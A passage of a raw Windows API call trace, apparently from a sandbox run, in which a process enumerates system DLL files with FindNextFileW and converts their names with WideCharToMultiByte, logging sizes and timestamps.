cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.869] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.869] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="console.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.870] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.871] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.871] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.872] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0040.872] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 